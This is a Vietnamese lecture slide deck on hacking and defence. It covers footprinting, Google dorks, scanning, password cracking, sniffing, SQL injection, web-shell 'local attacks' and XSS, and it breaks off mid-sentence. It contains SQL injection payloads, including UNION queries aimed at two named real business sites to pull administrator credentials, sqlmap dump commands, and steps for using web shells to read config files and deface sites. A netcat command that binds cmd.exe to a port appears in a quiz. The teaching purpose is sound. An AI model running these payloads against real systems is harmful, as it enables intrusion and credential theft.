SlideShare a Scribd company logo
1 of 151
Một số phương pháp khai thác và
bảo mật mạng
Phương pháp Footprinting
Giới thiệu về Footprinting
1
Phương pháp thực hiện Footprinting
2
Các công cụ được sử dụng trong Footprinting
3
Google Hacking
4
SQL Injection
5
1. Giới thiệu về Footprinting
 Footprinting là kỹ thuật giúp tìm kiếm
thông tin về một doanh nghiệp, cá nhân
hay tổ chức.
 Footprinting là một trong 3 giai đoạn cần
phải làm trước khi thực hiện một cuộc tấn
công.
 Một kẻ tấn công dành 90% thời gian cho
việc tìm kiếm thông tin về mục tiêu tấn
công và 10% khác để thực hiện tấn công.
 Kết quả của quá trình Footprinting là lấy được các thông tin
cơ bản của mục tiêu tấn công:
 Tên, địa chỉ công ty
 Website công ty
 Các thành viên trong công ty
 Sơ đồ mạng …
1. Giới thiệu về Footprinting
Các thông tin cần tìm kiếm cụ thể:
2. Phương pháp thực hiện Footprinting
Có 2 phương pháp thực hiện Footprinting:
 Passive Footprinting
• Tìm kiếm thông qua các bài báo, trang web, hoặc từ các
đối thủ với mục tiêu, …
 Active Footprinting
• Liên hệ trực tiếp với mục tiêu, tìm hiểu các thông tin
cần thiết
2. Phương pháp thực hiện Footprinting
Website:
www.google.com www.whois.net
www.tenmien.vn www.archive.org
Whois: Microsoft.com
Whois Vietnam: actvn.edu.vn
Archive: http://microsoft.com
Ngoài ra còn rất nhiều các Website khác:
 http://people.yahoo.com
 http://www.intellius.com
 http://maps.google.com
 http://diadiem.com
 http://www.publicprofiles.org
 http://finance.google.com
 http://www.jobsdb.com
2. Phương pháp thực hiện Footprinting
3. Các công cụ được sử dụng trong Footprinting
Sam Spide
Super Email Spider
VitualRoute Trace
Google Earth
Whois
Site Digger
Maltego
….
Sam Spade
Cho phép người sử dụng có thể thực hiện các hành
động:
 Ping
 Nslookup
 Whois
 Traceroute
 …
Super Email Spider
Tìm kiếm thông tin về địa chỉ Email của cơ quan/
tổ chức sử dụng Search Engine:
 Google
 Lycos
 iWon
 Exiter
 Hotbot
 MSN
 AOL
 …
VitualRoute Trace
Hiển thị đường kết nối và địa chỉ, khu vực đường
kết nối đi qua.
Maltego
Là công cụ được sử dụng để phát hiện ra các liên
kết giữa:
 Người sử dụng
 Cơ quan
 Tổ chức
 Website
 Domain
 Dải mạng
 Địa chỉ IP …
2. Google Hacking
 Google Hacking là gì?
 Là thuật ngữ được sử dụng khi Hacker tìm cách tìm lỗ hổng
của mục tiêu hoặc dữ liệu nhạy cảm thông qua bộ máy tìm
kiếm Google.
 Google Haking Database là một cơ sở dữ liệu lưu trữ
những câu lệnh để thực thi nhiệm vụ trên.
 Hacker có thể làm được gì?
 Tìm ra các lỗ hổng của Server: Lỗi phiên bản, bug, …
 Các thông tin nhạy cảm từ các thông báo đưa ra
 File chứa mật khẩu
 Thư mục nhạy cảm: thư mục chứa code lỗi, …
 Trang đăng nhập vào hệ thống
 Trang chứa thông tin về cấu hình mạng, firewall như log
firewall, …
2. Google Hacking
Những cú pháp tìm kiếm nâng cao với Google:
[intitle:]
 Giúp Google giới hạn kết quả tìm kiếm về những trang có chứa từ đó
trong tiêu đề.
 VD: intitle:login password, allintitle:login password
[inurl:]
 Giới hạn kết quả tìm kiếm về những địa chỉ URL có chứa từ khóa t́m
kiếm.
 VD: inurl:etc/password, allinurl:etc/password
[site:]
 Giới hạn Google chỉ truy vấn những từ khóa xác định trong một site
hoặc tên miền riêng biệt.
 VD: site:actvn.edu.vn
[filetype:]
 Giới hạn Google chỉ tìm kiếm những files trên internet có phần mở
rộng riêng biệt (như: doc, pdf hay ppt v.v...)
 VD: filetype:doc
2. Google Hacking
[link:]
 Liệt kê những trang web mà có các liên kết đến đến những trang web
chỉ định
 VD: link:www.securityfocus.com
[intext:]
 Tìm kiếm các từ trong một website riêng biệt.
 VD: intext:hacker
 Một số thuật ngữ kết hợp sử dụng trong Google Hacking:
 Index of /admin
 Index of /passwd
 Index of /password
 Index of /mail
 "Index of /" +passwd
 "Index of /" +password.txt
 "Index of /" +.htaccess
 "Index of /secret“
 "Index of /confidential“
 "Index of /root“
 "Index of /cgi-bin“
 "Index of /credit-card“
 "Index of /logs“
 "Index of /config"
2. Google Hacking
Ta cũng có thể dễ dàng tìm kiếm được những
website lỗi viết bằng ngôn ngữ PHP có chứa
thông tin hình ảnh.
inurl:"index.php?option=com_media" site:com
inurl:"index.php?option=com_media“ site:vn
inurl:"index.php?option=com_media"
site:edu.vn
2. Google Hacking
inurl:"index.php?option=com_media“ site:vn
2. Google Hacking
2. Google Hacking
2. Google Hacking
Ngoài ra có thể sử dụng các công cụ tìm kiếm:
2. Google Hacking
2. Google Hacking
Các công cụ sử dụng trong Google Hacking:
 Gooscan
 GoogleHacks
 Sige Digger
www.hackersforcharity.org
www.exploit-db.com
Module 2: Scanning
www.themegallery.com
NỘI DUNG
Định nghĩa Scanning
1
Các kiểu Scanning
2
Các bước Scanning
3
Các công cụ sử dụng để Scanning
4
1. Định nghĩa Scanning
Scanning là một trong ba giai
đoạn Information Gathering mà
Hacker cần thực hiện trước khi
tiến hành một cuộc tấn công
Các thông tin cần tìm kiếm trong
giai đoạn Scanning:
www.themegallery.com
 Địa chỉ IP của hệ thống đích
 Hệ điều hành
 Kiến trúc hệ thống
 Các cổng mở và các dịch vụ đang chạy trên hệ
thống
2. Các kiểu Scanning
 Có 3 kiểu Scanning:
 Port Scanning: Quét cổng để xác định cổng/dịch vụ
đang trong trạng thái active
 Network Scanning: Quét dải mạng để xác định các host
trên mạng đang hoạt động
 Vulnerability Scanning: Quét lỗ hổng của hệ điều hành,
của các ứng dụng đang hoạt động
3. Các bước Scanning
3. Các bước Scanning
 Checking for live system:
 Sử dụng giao thức ICMP: Ping
 Có thể tham tham số -t để ping không giới hạn
 Check for Open Ports:
 Áp dụng cơ chế bắt tay ba bước
 Sử dụng các Flag trong gói tin TCP khi quét theo kiểu TCP
 Xác định gói tin ICMP type 3 code 3 khi quét theo kiểu UDP
 Identity Services:
 Dựa vào các Open Ports để xác định Service
 Banner Grabbing/OS Fingerprinting
 Sử dụng Telnet
 Sử dụng công cụ: Nmap, SuperScan, …
 Scan for Vulnerability
 Sử dụng công cụ để phát hiện ra điểm yếu: Nessus, Retina, GFI
LANGuard, Acunetix, …
Cấu tạo gói tin TCP
 SYN: Yêu cầu kết nối giữa hai máy tính
 ACK: Trả lời kết nối hai máy tính có thể bắt đầu thực hiện
 FIN: Kết thúc quá trình kết nối giữa hai máy tính
 RST: Kết nối không thể sử dụng
 PSH & URG: Thiết lập độ ưu tiên
Cơ chế bắt tay ba bước
Bước 1: Client bắn đến Server một gói tin SYN
Bước 2: Server trả lời tới Client một gói tin
SYN/ACK
Bước 3: Client nhận được gói tin SYN/ACK sẽ gửi
lại server một gói ACK.
 Quá trình trao đổi thông tin giữa hai máy bắt đầu
Các kiểu Port Scanning
SYN Scan
FIN Scan
NULL Scan
XMAS Scan
TCP Connect Scan
ACK Scan
RPC Scan
Windows Scan
FTP Scan
…
TCP Scan:
Các kiểu Port Scanning
Nếu một port bị đóng, khi Server nhận được gói
ICMP từ client nó sẽ cố gắng gửi một gói ICMP type 3
code 3 port với nội dung là “unreachable” về Client.
UDP Scan:
4. Các công cụ sử dụng để Scanning
Nmap
Super Scan
Retina Network Security Scanner
Nessus
Acunetix Web Vulnerability
GFI LANGuard Network Security
Nmap
–sT: TCP scan
–sU: UDP Scan
–sP: Ping Scan
–sF: FIN Scan
–sX: XMAS Scan
–sN: NULL Scan
–sV: Scan tên các ứng dụng và version
–SR: RPC Scan
Cấu trúc:
nmap [Scan Type(s)][Option]<host or net #1…[#N]>
-O: Scan hệ điều hanh
-P: Giải Port sử dụng để Scan
-V: Sử dụng Scan 2 lần
-P0: Không sử dụng Ping để Scan
-6: Scan IPv6
Super Scan
 Có thể sử dụng để quét 1 địa chỉ hoặc quét 1 dải địa chỉ
 Có thể sử dụng để quét theo kiểu Ping, Banner Grabbing,
…
Retina Network Security Scanner
Là công cụ sử dụng để phát hiện ra các máy đang
hoạt động trong mạng, quét lỗ hổng của hệ điều
hành và lỗ hổng trên ứng dụng
Acunetix Web Vulnerability
Là công cụ được sử dụng để phát hiện ra các lỗ
hổng của Website
Module 3: System Hacking
System Hacking
Xác thực - Authentication
1
Các phương pháp xác thực trong Windows
2
Các kiểu tấn công Password
3
Các công cụ sử dụng trong System Hacking
4
1. Xác thực - Authentication
Là một quá trình nhận dạng người
sử dụng
Hầu hết các phương thức xác thực
dựa trên:
 Những gì bạn biết (Username &
Password)
 Những gì bạn có (Smart Card,
Certificated)
 Những gì là bạn (Vân tay, mống mắt, …)
2. Các phương pháp xác thực
trong Windows
LM, NTLMv1 và NTLMv2
Attribute LM NTLMv1 NTLMv2
Password case
sensitive
No Yes Yes
Hash key length 56bit + 56bit - -
Password hash
algorithm
DES (ECB mode) MD4 MD4
Hash value length 64bit + 64bit 128bit 128bit
C/R key length 56bit + 56bit + 16bit 56bit + 56bit + 16bit 128bit
C/R algorithm DES (ECB mode) DES (ECB mode) HMAC_MD5
C/R value length 64bit + 64bit + 64bit 64bit + 64bit + 64bit 128bit
Xác thực LM và NTLM
Xác thực Kerberos
3. Các kiểu tấn công Password
Các kiểu Password:
 Password chỉ chứa ký tự: ABCDEF, abcdef
 Password chỉ chứa số: 01234567
 Password chỉ chứa các ký tự đặc biệt: !@#$%^
 Password chỉ chứa ký tự và số: abc123def
 Password chỉ chứa ký tự và ký tự đặc biệt: abc!@#
 Password chỉ chứa ký tự đặc biệt và số: !@#1234
 Password chứa cả ký tự, số và ký tự đặc biệt: Ab5!@3fT
Các kiểu tấn công:
 Passive Online Attack
 Active Online Attack
 Offline Attack
Tấn công từ điển
 Một hình thức tấn công mật khẩu phổ biến nhất là thông qua cơ
chế thử vét cạn một tập mật khẩu khả nghi thiết lập sẵn(từ điển).
Việc thử vét cạn từ điển có thể tiến hành theo hai cách:
 Tấn công ngoại tuyến (off- line attack): Đòi hỏi kẻ tấn công phải
truy cập được tới tập thông tin đối chứng (tập C) và biết các hàm
xác minh. Từ đó người tấn công chỉ việc tiến hành thử lần lượt
mỗi mật khẩu trong từ điển, xem giá trị thu được khi tác động
bằng một hàm xác minh có rơi vào tập C hay không.
 Tấn công trực tuyến (on- line attack): Đòi hỏi người tấn công phải
truy nhập được các hàm logic L, để lần lượt gọi kiểm tra xem l(g)
có trả lại thành công, với mỗi mật khẩu g trong từ điển và làm l từ
L, chẳng hạn: đoán - thử bằng cách gọi chức năng login vào hệ
thống.
Tấn công từ điển

Tấn công từ điển

Passive Online Attack
1. Nghe lén trên đường truyền: Sniffing
2. Đợi cho đến khi có hành động xác thực
3. Bắt các gói tin có chứa yêu cầu xác thực
Ưu điểm:
 Khó phát hiện
 Không tốn nhiều công sức
Nhược điểm:
 Khó thành công
 Kẻ tấn công phải là người bên trong mạng
 Tiêu tốn nhiều băng thông
Active Online Attack
Thử các Password khác nhau cho tới khi tìm được
1 Password đúng
Ưu điểm:
 Dễ thực hiện
 Thành công với các mật khẩu dễ đoán
Nhược điểm:
 Khó thành công
 Tốn nhiều thời gian
 Cần thử một lượng lớn mật khẩu
 Dễ bị phát hiện
Offline Attack
Truy cập vào hệ thống copy file chứa thông tin
người sử dụng về: SAM
Sử dụng một số biện pháp để crack password:
 Dictionary Attack
 Hybird Attack
 Brute-force Attack
Ưu điểm:
 Dễ thành công kể cả với các Password mạnh
Nhược điểm:
 Tốn nhiều thời gian
 Khó thực hiện
4. Một số công cụ sử dụng trong System Hacking
Cain & Abel
L0phtCrack
WinPassword Pro
PWDump
OphCrack
CHAOS Generator
Cain & Abel
Là công cụ cho phép
bắt gói tin đi qua theo
giao thức:
 FTP
 HTTP
 IMAP
 Telnet
 …
Có thể sử dụng để
crack các mật khẩu mã
hóa.
Có thể crack mật khẩu
từ file SAM hoặc file
dump.
L0phtCrack
 Là công cụ được sử
dụng để crack
password từ:
 Local
 Máy tính khác trong
mạng
 File SAM
 File PWDump
 File chương trình tự
Sniff
 ….
 Crack Password theo
kiểu:
 Dictionary
 Hybird
 Brute Force
WinPassword Pro
Là công cụ được sử dụng để Crack Password,
tương tự L0phtCrack.
Có thể Crack
Password theo
kiểu:
 Brute Force
 Dictionary
PWDump
Là công cụ cho phép xem và trích xuất file SAM
của Windows
CHAOS Generator
Là công cụ cho phép
sinh ra các từ ngẫu
nhiên
Chiều dài từ sinh ra
phụ thuộc vào phần
Length người sử dụng
nhập vào
Có thể sinh ra các từ
chỉ chứa các ký tự in,
ký tự thường, số, ký tự
đặc biệt hoặc kết hợp.
Module 4: Sniffers
NỘI DUNG
Định nghĩa
1
Các kiểu Sniff
2
Các biện pháp phòng chống Sniff
3
Các công cụ sử dụng trong Sniff và ARP
4
1. Định nghĩa
Sniff là hình thức nghe lén trên
hệ thống mạng, dựa trên
những đặc điểm của cơ chế
TCP/IP
Sniff có thể là phần mềm hoặc
thiết bị được sử dụng để chụp
lại các thông tin lưu thông qua
mạng
Sử dụng Sniff để lấy cắp các
thông tin:
 Tài khoản
 Mật khẩu
 Các thông tin nhạy cảm khác …
Giao thức có thể Sniff
Các giao thức dễ bị Sniff:
 Telnet và Rlogin: Username và Password.
 HTTP: Dữ liệu được gửi đi dưới dạng rõ.
 SMTP: Password và dữ liệu được gửi đi dưới dạng rõ.
 NNTP: Password và dữ liệu được gửi đi dưới dạng rõ.
 POP: Password và dữ liệu được gửi đi dưới dạng rõ.
 FTP: Password và dữ liệu được gửi đi dưới dạng rõ.
 IMAP: Password và dữ liệu được gửi đi dưới dạng rõ.
 …
2. Các kiểu Sniff
Passive Sniff
Môi trường:
 Chủ yếu hoạt động trong môi trường không có các
thiết bị chuyển mạch gói.
 Phổ biến hiện nay là các mạng sử dụng Hub, các
mạng không dây.
Cơ chế hoạt động:
 Dựa trên cơ chế Broadcast gói tin thông qua Hub
Đặc điểm:
 Khó phát hiện
Active Sniff
Môi trường:
 Chủ yếu hoạt động trong môi trường có các thiết bị
chuyển mạch gói
 Phổ biến hiện nay là các mạng sử dụng Switch
Cơ chế hoạt động:
 Sử dụng cơ chế ARP Spoofing và MAC Flooding
Đặc điểm:
 Chiếm nhiều băng thông mạng
 Có thể dẫn đến nghẽn mạng hay gây quá tải trên
chính NIC của máy đang dùng Sniff
Address Resolution Protocol
(ARP)
Là giao thức lớp mạng được sử dụng để chuyển
đổi từ địa chỉ IP sang địa chỉ vật lý (MAC).
Để có được địa chỉ vật lý, host thực hiện broadcast
một ARP request tới toàn bộ mạng.
Host nhận được ARP request sẽ gửi trả lại yêu cầu
với địa chỉ IP và địa chỉ MAC của mình.
ARP Spoofing
MAC Flooding
3. Các biện pháp phòng chống Sniff
Active Sniff (quản trị):
 Công cụ:
• Kiểm tra băng thông: Do khi Sniff có thể gây nghẽn
mạng.
• Bắt gói tin: Các Sniffer phải đầu độc ARP nên sẽ gửi
ARP đi liên tục, nếu dùng các công cụ này có thể thấy
được ai đang Sniff trong mạng.
 Thiết bị:
• Lọc MAC
• Sử dụng VLAN Trunking, Port Security với Switch
 Cấu hình SSL
3. Các biện pháp phòng chống Sniff
Active Sniff (người dùng):
 Sử dụng ARP dạng tĩnh
 Sử dụng công cụ phát hiện Sniff
 Tắt chức năng NetBios
3. Các biện pháp phòng chống Sniff
Passive Sniff:
 Thay việc sử dụng Hub bằng sử dụng Switch
4. Một số công cụ sử dụng trong Sniff và ARP
Wireshark
Cain & Abel
Ethereal
Switch Sniffer
Wireshark
Cain & Abel
Ethereal
Switch Sniffer
Tấn công và phòng chống SQL Injection
Tấn công và phòng tránh Local Attack
Tổng kết
MENU
NỘI DUNG TRÌNH BÀY
1. SQL Injection là gì?
Là một kĩ thuật cho phép kẻ tấn công lợi
dụng:
 Lỗ hỏng trong việc kiểm tra dữ liệu nhập vào
các ứng web
 Các thông báo lỗi từ hệ quản trị cơ sở dữ liệu
 Đưa vào thi hành các câu lệnh sql bất hợp
pháp và gây ra các hậu quả nghiêm trọng
I. TẤN CÔNG VÀ PHÒNG CHỐNG SQL INJECTION
Các dạng tấn công sql injection
Attack
4. Sử dụng các store
procedures
1. Vượt kiểm tra lúc
đăng nhập
3.Tấn công sử dụng
câu lệnh insert
2. Tấn công sử dụng
câu lệnh select
1. Vượt Kiểm tra lúc đăng nhập
Câu kiểm tra thường dùng lúc đăng nhập
1. Vượt Kiểm tra lúc đăng nhập
SQL Injection
Web Server
Attacker
DB Server
Firewall
User
Pass ‘ or 1=1--
Form
1. Vượt Kiểm tra lúc đăng nhập
Các username và password thường dùng để đăng nhập với
những trang bị lỗi SQL Injection
Username Password
‘or’1’=’1 ‘or’1’=’1
‘ or 1=1 ? Rỗng
‘ having 1=1 ? Mọi thứ
‘ or users.userName like ‘a%’ ? Mọi thứ
‘ or 1=1; drop table users; -- Mọi thứ
‘; shutdown with nowait;-- Mọi thứ
‘; exec master..xp_xxx; -- Mọi thứ
‘; exec master..xp_cmdshell ‘iisreset’; -- Mọi thứ
Important Symbols
‘  “Hack”
--  “Comment Out”
;  “End Statement”
% , *  “Wildcards”
2.Dạng tấn công vượt qua kiểm tra đăng nhập
Đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL
thao tác trên cơ sở dữ liệu của ứng dụng web.
Trong trường hợp này, người ta có thể dùng hai
trang, một trang HTML để hiển thị form nhập
liệu và một trang ASP dùng để xử lí thông tin
nhập từ phía người dùng. Ví dụ:
login.htm
<form action="ExecLogin.asp"
method="post">
Username: <input type="text"
name="fUSRNAME"><br>
Password: <input type="password"
name="fPASSWORD"><br>
<input type="submit">
</form>
execlogin.asp
<%
Dim vUsrName, vPassword, objRS, strSQL vUsrName =
Request.Form("fUSRNAME") vPassword =
Request.Form("fPASSWORD")
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' “
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " &
objRS("USR_NAME")
End If
Set objRS = Nothing %>
Người dùng nhập chuỗi sau vào trong cả 2 ô nhập
liệu username/password của trang login.htm là:
' OR ' ' = ' .
Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM T_USERS WHERE
USR_NAME ='' OR ''='' and USR_PASSWORD=
'' OR ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các
bản ghi của T_USERS và đoạn mã tiếp theo xử lí
người dùng đăng nhập bất hợp pháp này như là
người dùng đăng nhập hợp lệ.
SQL Injection in PHP
$link = mysql_connect($DB_HOST, $DB_USERNAME,
$DB_PASSWORD) or die ("Couldn't connect: " .
mysql_error());
mysql_select_db($DB_DATABASE);
$query = "select count(*) from users where username =
'$username' and password = '$password‘ ";
$result = mysql_query($query);
SQL Injection Attack #1
Unauthorized Access Attempt:
password = ’ or 1=1 --
SQL statement becomes:
select count(*) from users where username =
‘user’ and password = ‘’ or 1=1 --
Checks if password is empty OR 1=1, which is
always true, permitting access.
2. Sử dụng câu Select
SQL Injection Attack #2
Database Modification Attack:
password = foo’; delete from table users
where username like ‘%
DB executes two SQL statements:
select count(*) from users where username = ‘user’ and
password = ‘foo’
delete from table users where username like ‘%’
Finding SQL Injection Bugs
1. Submit a single quote as input.
If an error results, app is vulnerable.
If no error, check for any output changes.
2. Submit two single quotes.
Databases use ’’ to represent literal ’
If error disappears, app is vulnerable.
3. Try string or numeric operators.
 Oracle: ’||’FOO
 MS-SQL: ‘+’FOO
 MySQL: ’ ’FOO
 2-2
 81+19
 49-ASCII(1)
2. Sử dụng câu lệnh select
Câu lệnh xử lí thường dùng:
masp = Request.QueryString.Get("masp");
cm.CommandText = "select * from sanpham inner join loaisp on
sanpham.maloai = loaisp.maloai where sanpham.masp='" + masp
+ "'";
Để xem chi tiết 1 sản phẩm:
http://quatangsv.vn/Chitietsanpham.aspx?masp=HRDN
Ứng dụng thực tế vào các website đang hoạt
động online
 Để biết website nào dính lỗi SQL Injection ta thêm dấu “ ’ ” vào sau
thanh địa chỉ. Ví dụ:
 http://vnbarcode.com/?php=product_detail&id=316’
 Để biết website nào dính lỗi SQL Injection ta thêm dấu “ ’ ” vào sau
thanh địa chỉ. Ví dụ:
 http://www.nhuaphucthinh.com.vn/product.php?id=20’
 http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT
1,2,group_concat(database()),4,5,6,7,8,9,10,11
 http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT
1,2,group_concat(table_name),4,5,6,7,8,9,10,11 from information_schema.tables
where table_schema=database()
 http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT
1,2,group_concat(column_name),4,5,6,7,8,9,10,11 from information_schema.columns
where table_name=0x61646d696e6973747261746f72
 http://www.nhuaphucthinh.com.vn/product.php?id=-20 UNION SELECT
1,2,group_concat(AdmUsername,0x7c,AdmPassword),4,5,6,7,8,9,10,11
from administrator
Dùng sqlmap và sử dụng Kali để tấn công website
Công cụ:
+ Sử dụng Kali Linux
+ Trang website demo sau:
Cú pháp: sqlmap -u <URL để tiêm>
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1
 Kiểm tra được lỗi của trang website
http://testphp.vulnweb.com/listproducts.php?cat=1
Dùng sqlmap và sử dụng Kali để tấn công website
Sử dụng bảng tham chiếu trong quá trình thực hiện
Dùng sqlmap và sử dụng Kali để tấn công website
Sử dụng tham số lấy Database của website
(--dbs)
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --
dbs
 Kiểm tra website về cơ sở dữ liệu Database nếu có
Dùng sqlmap và sử dụng Kali để tấn công website
Khi có Database ta thực hiện liệt kê trong
CSDL đó có những bảng nào, thêm (--tables)
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –D
tênCSDL --tables
 Kiểm tra website về
các bảng trong cơ sở dữ liệu Database
VD: sqlmap -u http://testphp.
vulnweb.com/
listproducts.php?cat=1
–D acuart --tables
Dùng sqlmap và sử dụng Kali để tấn công website
Khi có CSDL, bảng, ta thực hiện liệt kê trường
dữ liệu trong bảng đó ra, thêm (--columns)
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –D
tênCSDL –T bảnguser --columns
 website tra về các
cột trong bảng truy vấn
Dùng sqlmap và sử dụng Kali để tấn công website
Cuối cùng lấy thông tin của các cột trong bảng,
ta chỉ định CSDL với –D, bảng với –T, cột với -
C, thêm (--dump) để liệt kê hết các thực thể
sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 –D
tênCSDL –T bảnguser –C tentruong1, tentruong2,.. --dump
 website tra về các
Giá trị trong cột truy vấn
3. Sử dụng câu lệnh insert
Câu lệnh sql thường dùng khi đăng kí:
cmdangki.CommandText =
“INSERT INTO Users(Tendangnhap, Matkhau)
VALUES ('" + tendn.Value.ToString() + "', '" + matkhau.Value.ToString() +
“)";
Lúc này người dùng nhập vào textbox tendn
như sau:
‘ + (select top 1 tendn from users) + ‘
3. Sử dụng câu lệnh insert
Lúc này câu lệnh sql trở thành:
cmdangki.CommandText = “INSERT INTO
Users(Tendangnhap, Matkhau)
VALUES (‘’ + (select top 1 tendn from users) + ‘’,
‘abc’)";
4. Sử dụng stored procedures
5. Cách phòng tránh
Kiểm soát chặt chẽ dữ liệu nhập vào
 Viết hàm lọc các ký tự đặc biệt trong chuỗi nhập vào
 Vd: " ", "'", ";", "--", "xp_", "select", "drop",
"insert", "delete"
Thiết lập cấu hình an toàn cho hệ quản trị cơ sở
dữ liệu
 Giới hạn quyền xử lí dữ liệu đến tài khoản người dùng
 Tránh dùng đến các quyền như dbo hay sa.
5. Cách phòng tránh
Kiểm tra, chỉ chấp nhận giá trị chứa các ký tự hợp lệ
-Ký tự nào là hợp lệ?
-Phụ thuộc ngữ cảnh
• Sử dụng dấu ‘’ đặt trước các ký tự đặc biệt
- Nếu kẻ tấn công chèn trước ký tự ‘’ ?
• Bỏ qua các ký tự đặc biệt
-Nếu kẻ tấn công dùng mã ASCII?
-Luôn có cách vượt qua kiểm tra
• Cách tốt hơn: không sử dụng các hàm có quá nhiều
quyền thực thi.
-Không hiệu quả với SQL Injection
II. Tấn công và phòng tránh Local Attack
Khái niệm: là tấn công từ nội bộ bên trong. Dùng
website bị lỗi bảo mật để tấn công sang các website
khác trong cùng một server.
Công cụ hỗ trợ:
Shell r57 hay shell c99 (vì nó mạnh và dễ sử dụng)
II. Tấn công và phòng tránh Local Attack
Shell c99
II. Tấn công và phòng tránh Local Attack
Shell R57
II. Tấn công và phòng tránh Local Attack
Các bước thực hiện tấn công.
Bước 1: Xác định các website cần tấn công.
Bước 2: Xác định các website đặt cùng server với
mục tiêu.
Bước 3: Tìm cách khai thác một trong các website
đặt chung server với mục tiêu. Khai thác được 1
trong số các website đó. Tìm cách upload webshell
hoặc thực thi shell code.
II. Tấn công và phòng tránh Local Attack
Các bước thực hiện tấn công.
Bước 4: Thành công có webshell, kiểm tra quyền của
user hiện tại.
II. Tấn công và phòng tránh Local Attack
Các bước thực hiện tấn công.
Bước 5: Đã có đủ quyền, tiến hành đọc file config,
tìm user/password, deface mục tiêu.
II. Tấn công và phòng tránh Local Attack
Các lệnh thường dùng để Local attack:
- Liệt kê các user có trên server: cat /etc/passwd.
- Xem thư mục public_html của user.
dir /home/user/public_html/
- Xem nội dung file của một user khác:
cat /home/tên user cần local/public_html/index.php.
II. Tấn công và phòng tránh Local Attack
Cách phòng chống:
1. Thường xuyên backup dữ liệu (giảm thiệt hại khi bị
drop database).
2. Bỏ quyền DROP database của user.
II. Tấn công và phòng tránh Local Attack
3. Đặt safemode on và disable 1 số hàm nguy hiểm =
cách tạo file php.ini với nội dung sau
safe-mode = on
display_errors = Off
4. Phân quyền cho các tập tin, thư mục của website một
cách hợp lý.
5. Thường xuyên dò tìm shell code trong website và
csdl.
Sử dụng wireshark để bắt gói tin
Đây là hình ảnh do Wireshark ghi lại khi theo dõi Traffic trên
một Server.
Cho biết trong đoạn Traffic này, kẻ tấn công đang cố gắng
khai thác lỗ hổng trên server để mở cổng 4444 và cố gắng kết
nối từ ngoài vào.
Hãy cho biết :
1. Gói tin số bao nhiêu trong đoạn traffic có khả năng chứa
lệnh để mở cổng ?
2. Kẻ tấn công đã mở đuợc cổng 4444 chưa ? Vì sao ?
Câu hỏi
Đây là hình ảnh do Wireshark ghi lại khi theo dõi Traffic trên
một Server.
Cho biết trong đoạn Traffic này, kẻ tấn công đang cố gắng
khai thác lỗ hổng trên server để mở cổng 4444 và cố gắng kết
nối từ ngoài vào.
Hãy cho biết :
1. Gói tin số bao nhiêu trong đoạn traffic có khả năng chứa
lệnh để mở cổng ?
2. Kẻ tấn công đã mở đuợc cổng 4444 chưa ? Vì sao ?
Câu hỏi
Câu hỏi
Câu lệnh netcat sau đây có ý nghĩa gì:
C:>nc -u -nvv -z 172.16.106.1 1-500
Câu hỏi
Giải thích câu lệnh netcat dưới đây:
C:>nc -nvv -l -p 8080 -e cmd.exe
Câu hỏi
Đoạn code sau nằm trong file robot.txt
khi lập trình một ứng dụng web, nó có ý
nghĩa ra sao?
User-Agent: Suzy-Spider
Disallow: /dynamic
Allow: /private/suzy-stuff
Disallow: /private
User-Agent: *
Disallow: /dynamic
Disallow: /private
Câu hỏi
Đoạn code dưới đây được dùng để kiểm tra đăng nhập vào một website, nếu dùng
đoạn code này thì website sẽ bị lỗi gì? Cách khắc phục lỗi?
<@language="vbscript">
<% dim conn,rs,log,pwd
log=Request.form("login_name")
pwd=Request.form("pass")
set conn = Server.CreateObject("ADODB.Connection")
conn.ConnectionString="provider=microsoft.jet.OLEDB.4.0;data
source=c:foldermultiplex.mdb“
conn.Open
set rs = Server.CreateObject("ADODB.Recordset")
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "'
",conn
If rs.EOF
response.write("Login failed")
Else
response.write("Login successful")
End if %>
Câu hỏi
Kẻ tấn công có địa chỉ IP là 12.8.0.1
muốn thực hiện tấn công Smurf vào máy
cho địa chỉ 129.74.15.12. Kẻ tấn công sử
dụng một mạng có địa chỉ 141.190.0.0/16
để thực hiện. Gói dữ liệu được được gửi
từ máy kẻ tấn công sẽ có địa chỉ IP
nguồn và IP đích là cặp nào?
Câu hỏi
Đoạn dưới là một đoạn code php của một
website. Theo anh, chị thì đoạn code này có
mắc lỗi bảo mật gì không ? Miêu tả qua về
lỗi và đưa ra phương án khắc phục lỗi.
<?php
include(“$ex/index.php”);
[…]
?>
Câu hỏi
Famous Hackers in History
Ian Murphy Kevin Mitnick Johan Helsinguis
Mark Abene
Linus Torvalds Robert Morris
TẤN CÔNG DẠNG
CROSS SITE SCRIPTING (XSS)
Tấn công XSS (Cross Site Scripting)
Lỗ hổng XSS: ứng dụng web không kiểm soát sự có mặt của mã thực
thi trái phép trong giá trị tham số đầu vào và/hoặc trong kết quả trả về
trên thông điệp HTTP Response
• Tấn công XSS: lợi dụng lỗ hổng XSS để chèn mã thực thi vào trang
web do Web server sinh ra.
• Hậu quả: trình duyệt của người dùng thông thường thực thi mã độc
nằm trong thông điệp HTTP Response nhận được từ web server. Việc
thực thi này có thể vượt qua chính sách SOP
• Có thể thực hiện tương tự trên các dịch vụ email, trình đọc file PDF
• Các phương phép chèn mã thực thi:
- Reflected XSS
- Stored XSS
- DOM-based XSS
Tấn công XSS (Cross Site Scripting)
Ví dụ: Tấn công XSS (1)
Giả sử trên website của mục tiêu cung cấp tính năng
tìm kiếm.
http://victim.com/search.php?term=
• Đoạn mã thực thi trên server như sau:
<HTML> <TITLE> Search Results </TITLE>
<BODY>
Results for <?php echo $_GET[term] ?>:
. . .
</BODY> </HTML>
Ví dụ: Tấn công XSS (2)
Người dùng tải một trang web từ server của kẻ
